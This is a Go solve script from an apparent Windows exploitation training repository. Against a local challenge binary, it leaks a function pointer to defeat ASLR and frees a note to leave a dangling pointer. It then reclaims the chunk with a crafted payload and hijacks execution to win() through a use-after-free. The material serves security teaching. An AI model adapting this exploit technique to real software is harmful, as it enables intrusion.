larryandClaude Sonnet 4.6
c9aafc512b
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
103 lines
2.7 KiB
Go
103 lines
2.7 KiB
Go
package main
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import (
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"bytes"
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"encoding/binary"
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"encoding/hex"
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"fmt"
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"log"
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"strconv"
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"winpwn"
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)
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func parseAddr(line []byte) (uint64, error) {
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idx := bytes.Index(line, []byte("addr=0x"))
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if idx == -1 {
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return 0, fmt.Errorf("no addr= in %q", line)
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}
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return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
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}
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func main() {
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pf, err := winpwn.OpenPE("heap_info_leak.exe")
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if err != nil {
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log.Fatalf("OpenPE: %v", err)
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}
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realShowRVA, err := pf.GetProcAddress("real_show")
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if err != nil {
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log.Fatalf("real_show not found in exports: %v", err)
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}
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winRVA, err := pf.GetProcAddress("win")
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if err != nil {
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log.Fatalf("win not found in exports: %v", err)
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}
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pf.Close()
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rvaDiff := int64(winRVA) - int64(realShowRVA)
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fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff)
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tube, err := winpwn.Spawn("heap_info_leak.exe")
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if err != nil {
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log.Fatalf("Spawn: %v", err)
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}
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if _, err := tube.RecvLine(); err != nil {
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log.Fatalf("RecvLine: %v", err)
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}
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if err := tube.SendLine([]byte("N victim")); err != nil {
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log.Fatalf("SendLine N: %v", err)
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}
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resp, err := tube.RecvLine()
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if err != nil {
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log.Fatalf("RecvLine N: %v", err)
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}
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noteAddr, _ := parseAddr(resp)
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fmt.Printf("[+] Note @ 0x%x\n", noteAddr)
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if err := tube.SendLine([]byte("S 0 32")); err != nil {
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log.Fatalf("SendLine S: %v", err)
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}
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resp, err = tube.RecvLine()
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if err != nil {
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log.Fatalf("RecvLine S: %v", err)
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}
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hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
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leaked, err := hex.DecodeString(string(hexPart))
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if err != nil || len(leaked) < 32 {
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log.Fatalf("bad HEX response: %q", resp)
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}
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realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
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fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)
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winVA := uint64(int64(realShowVA) + rvaDiff)
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fmt.Printf("[+] win() @ 0x%x\n", winVA)
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if err := tube.SendLine([]byte("D 0")); err != nil {
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log.Fatalf("SendLine D: %v", err)
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}
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if _, err := tube.RecvLine(); err != nil {
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log.Fatalf("RecvLine D: %v", err)
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}
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fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")
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payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
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if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
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log.Fatalf("SendLine T: %v", err)
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}
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resp, err = tube.RecvLine()
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if err != nil {
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log.Fatalf("RecvLine T: %v", err)
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}
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tokenAddr, _ := parseAddr(resp)
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fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr)
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if tokenAddr != noteAddr {
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fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
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}
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fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
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if err := tube.SendLine([]byte("P 0")); err != nil {
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log.Fatalf("SendLine P: %v", err)
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}
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tube.Interactive()
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}
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